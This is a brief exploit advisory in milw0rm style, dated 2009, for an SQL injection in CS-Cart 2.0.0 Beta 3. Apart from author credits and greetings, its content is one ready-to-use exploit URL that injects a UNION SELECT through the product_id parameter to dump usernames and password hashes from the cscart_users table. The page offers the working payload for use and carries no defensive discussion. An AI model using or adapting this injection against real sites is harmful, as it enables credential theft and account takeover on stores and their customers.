17 lines
No EOL
547 B
Text
17 lines
No EOL
547 B
Text
CS-Cart 2.0.0 Beta 3 (dispatch) SQL Injection Vulnerability
|
||
Provider: www.cs-cart.com
|
||
Discovered by netsoul
|
||
Greetz: m1cr0n, IvanKalet, blackfalcon, str0ke
|
||
Contact: netsoul2[at]gmail.com
|
||
ALTO PARANA - PARAGUAY
|
||
Ñane mba'e teete
|
||
#####################################################
|
||
|
||
Exploit:
|
||
|
||
http://cs-cart cms/[path]/index.php?dispatch=products.view&product_id=289' UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,concat(user_login,0x3a,password),0,0 from cscart_users/*
|
||
|
||
|
||
#####################################################
|
||
|
||
# milw0rm.com [2009-03-09] |